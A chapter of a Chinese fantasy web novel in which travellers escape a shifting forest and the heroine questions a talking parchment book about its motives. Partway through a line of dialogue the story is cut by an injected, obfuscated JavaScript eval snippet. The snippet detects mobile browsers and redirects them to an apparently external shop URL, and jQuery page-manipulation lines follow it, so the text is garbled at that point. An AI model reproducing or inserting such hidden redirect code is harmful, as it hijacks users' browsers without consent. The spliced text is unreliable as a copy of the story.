大地开始颤抖,空气也停滞在半空。
树叶倒悬,人类失重。
中心区的无数地块拔地而起,漂浮在空中,擦肩、错杂、悬挂、挪转。
回去的路被彻底切断,四个人所在的区域成为无数孤岛其中的一座。
受伤的女人率先开口了,看到眼前混乱的景象,一直紧绷着神经的她反而松了一口气,提着的肩膀都沉了下来。
她感激地看向艾米莉亚和穆珩,泛起血色的眼睛迟缓地涌上一丝湿润:“谢谢你们,要不是你们,我跟裘德今天估计就要死在这里了。”
她的语气真诚恳切,引得被感谢的两个人都有些不好意思。
穆珩在虚空里抱着羊皮书,在椅子上打了两个滚。
没等他们询问,女人就主动向他们介绍起自己:“我是冒险家协会的研究员伊洛恩。”
她旁边的男人也冲他们点点头:“我是她的丈夫兼助手裘德。”
伊洛恩环视了一圈周围的环境,思索了片刻,决定还是先从问题开始阐述目前的状况:“你们知道迷菇森林菌子数量锐减的事情吗?”
“有所耳闻,”艾米莉亚点点头,“听说因为这个,很多佣兵团和有能力的冒险者都不来这里了。”
这件事,艾米莉亚在进森林的时候也提过一嘴,穆珩有些印象。
听众知道前因,伊洛恩的话题就好开展多了。
她盘坐起来,尽量用通俗易懂的话来说清楚来龙去脉:“没错,那些厉害的冒险者确实都去别的地方了。但当一个采集区的高战力人员流失,这个采集区的魔物就很容易泛滥,就像是现在本来都不应该出现在这里的四翼鹰都出现了。现在森林提高了维护成本,商盟要派人来审查,卡资金,协会没有办法,只能先自己派人来检查森林到底是哪里出现了问题。”
“而我,”伊洛恩指指自己,“就是被派过来的研究员。”
“协会给我们指派了向导,但我们和他在中层走散了。我们在迷雾之中,误打误撞走到了中心区,如你们所见,这里并没有中心区的样子,所以我们一开始甚至以为我们已经走出了迷菇森林,直到我们碰到了那只四翼鹰。”
“对我们来说,它实在是过于难缠。我们只能一味地躲闪,但是毫无办法。就在我们即将丧命之时,转机出现了。”
伊洛恩接住一块从头顶上的土地里掉落下来的石头,树木扎根在土里的根须就吊在她的头上。
天地置换,她们反倒像是种在泥里的种子。
穆珩发觉,短短的一段时间,那个泥块,竟然已经从他们偏左的头顶飞到了偏右,而且泥块的上方还有泥块,它们交叠着互换位置,飞向另一个坐标。
“突然之间,就像现在这样,中心区的所有土地开始大迁移,道路被切断,空间被分割,我们幸运地跟那只魔兽划分到两块区域,中间隔开了一定的距离,加上其他的地块阻隔在中间,给了我们喘息之机。”
穆珩的疑惑一闪而过,艾米莉亚率先举手提出:“但是我们来的时候看到的就是很正常的森林啊。”
“因为它们重组了。”
倏地。
时间一下拉快了进度条。
在伊洛恩话音刚落的那一刹那,所有的水平面开始迅速地滑动、对齐、升起、沉下,重新恢复成一大片森林。
整齐划一得如同训练有素的军队。
笼罩在他们头顶的黑影散去,露出悬挂在正空的烈日。
伊洛恩缓缓低下昂着的头,看向两人,苦笑:“就像这样。”
如果说之前的情况只是暂时不适合探索,现在的情况就是完全不能再继续探索了。
艾米莉亚想了想,询问伊洛恩:“那你还记得你们是从哪里进入中心森林的吗?”
“我们是从一个山崖下来,看见周围都是正常的树木,才误入的。”
“好,我知道了。”艾米莉亚让晏云章也坐到车上来,“我们得快点了,要是这样的话,森林可能还有其他的受困者,得赶紧回协会,让他们组织搜救才行。”
“我们应该是一个起点过来的,山崖那很可能是一个固定锚点,只要朝着山崖的方向走,就能走出去。”
晏云章接过车头:“我来吧。”
“行。”艾米莉亚也不跟他客气,“你腿长蹬得快,我给你指路。不过你先等等,我看看路在哪里。”
周围的树太高了,艾米莉亚三两下爬到树上。
山崖,山崖。
他们一开始所处的地方,就离山崖不远。
就算周围的土地再怎么腾挪移转,他们也没感觉自己身下的那块有什么移动的迹象,所以方位距离应该是差不多的,不用费什么功夫。
艾米莉亚的视线环视一周。
晏云章也抿唇抬头去找那个黄色的山崖尖尖。
穆珩滑动水镜去翻看他们的来时路。
几分钟后,三个人机械而默契地将眼睛定格在同一个地方。
人在语塞的时候真的很难说出话,因为翻涌的情绪太过于复杂,就像是狭窄的隧道一瞬间开过来七八九十辆火车。
脏话和感慨齐飞,国粹与情绪一色。
就试问。
谁能在紧张刺激的生死时刻度过之后,肾上腺素飙升,多巴胺分泌,准备开开心心回家,然后,欸,一转头,家跟自己隔了十万八千里。
没错。
那个山崖如今看去,只剩小小的一点。
跟他们现在所在的位置,正好是对角线,横跨一整个森林。
哈哈。
人生无常,大肠包小肠。
艾米莉亚看着同样沉默的晏云章,默默地指了个方向,默默地上了车,默默地把之前准备说的“你要是骑累了跟我说我来骑”吞进了肚子里。
她非常感动地想。
有能力的人确实是要多承受一点的。
而一无所知的伊洛恩和裘德看着默默蹬车的大魔法师和抱腿摇头的大弓箭手,满脸迷茫。
看见他们吃瘪,羊皮书又活过来了。
它得意洋洋地跳到穆珩的面前:“如果不开拓所谓的地图,一个小时前,你们就已经回到佩尔城了。”
“而现在,”它装模做样地模拟出数数声,“大致估算,需要五个小时,甚至更多。”
穆珩搬来一个躺椅,懒洋洋地躺在上面,只随口应了一声:“哦。”
羊皮书飞到她的左边:“你们的做法,太蠢、太笨、太愚钝,自以为这样会加快自己的脚步,实则只是把自己拉入险境,明明只需要按部就班地来就好了,前人给你们提供了这么多的经验,你的面前是一条康庄大道。”
“遇到这些琐事,自然有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375554|200088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别人帮你们解决,何必亲力亲为呢?”
羊皮书义正言辞地说教:“这是伟大的事业,你重生的基础,你理应心怀感恩地去践行这份荣光,珍惜自己的生命,而不应该被这无关紧要地琐事绊住脚步。”
“你的精力和时间是很宝贵的。”
“羊皮书,”穆珩打了个哈欠,眼睛都要眯起来了,依旧举起手,学着羊皮书的摸样在空中用魔法微粒勾勒出字迹,“比起艾瑟隆本地土著的生死,你好像更在意我是否活着,是我的错觉吗?”
羊皮书过了一会才回答:“你是勇者,只要你成功了,整个艾瑟隆都可以活下来。”
“那如果我死去呢?”穆珩问。
羊皮书沉默了。
“那如果艾米莉亚、伊洛恩、裘德死去呢?”
羊皮书继续沉默。
“如果我今天不进中心区,伊洛恩和裘德会死吗?”
羊皮书:“那是必要的牺牲。”
穆珩歪过头上下打量了一遍羊皮书。
她是标准的黑发黑眸,瞳孔颜色很深,看向她的眼睛,会觉得仿佛坠入了一口深井。
她话锋一转:“刚才的火球术是你的功劳吧?”
羊皮书在不驱动魔法微粒的时候,只要不作出相应的情绪反馈,几乎没有人能察觉它情绪的流动。
穆珩也没有这个想法,她只是轻描淡写出发现这一点的原因。
“因为我根本没有催动魔力。”
穆珩写字的时候,还是一直笑着。
她鲜少有不笑的时候,羊皮书唯独几次看见她生气,还是跟晏云章说话。
但那也多半没怎么认真。
可此刻,在她最后两个字落下之后,羊皮书却感受到一股深厚的凉意。
如果那时它没有出手,按照当时的站位,艾米莉亚作为老道的向导,哪怕是没有火球术的辅助,她也一样有办法带着两个伤员离开,顶多是更费力、更费时间一些。但跨出海口的魔法初学者穆珩可就没有那么幸运,她就站在正中间,艾米莉亚的箭术救得了她一时,救不了她一辈子,她最终的下场就是凄惨地死在异乡的土地里。
穆珩问出最后三个问题。
“你是谁?”
“你从哪里来?”
“你要到哪里去?”
羊皮书定在空中,沉默了几分钟,随后就“刷”一下地消失了。
穆珩盯着虚空看了很久,才翻了个身背对着羊皮书消失的地方。
晏云章久久听不见穆珩的声音,眉头都快要打成一个中国结,他轻声叫了两声穆珩的名字。
无人应答。
车子继续向前,没有人说话了。
晏云章抿了下嘴唇,右手食指不住地敲击着三轮握把。
两个小黑点在他们离开后,从树荫下走出来,站在他们车轮滚过的沟壑里。
“我的孢宝呜呜,孢宝。”
“你别哭了,赶紧干吧,再哭就可以去主人的锅里跟你的孢宝团聚了。”
“他们都走了。”
“就是走了才干活啊,不走还能休息呢……”
第二个声音长叹一口气,看着逐渐离开的三轮车背影,流下一滴圆滚滚的泪水。
“哎呀妈呀我的老大,你都累淌汁啦!”
“滚滚滚!滚一边去——”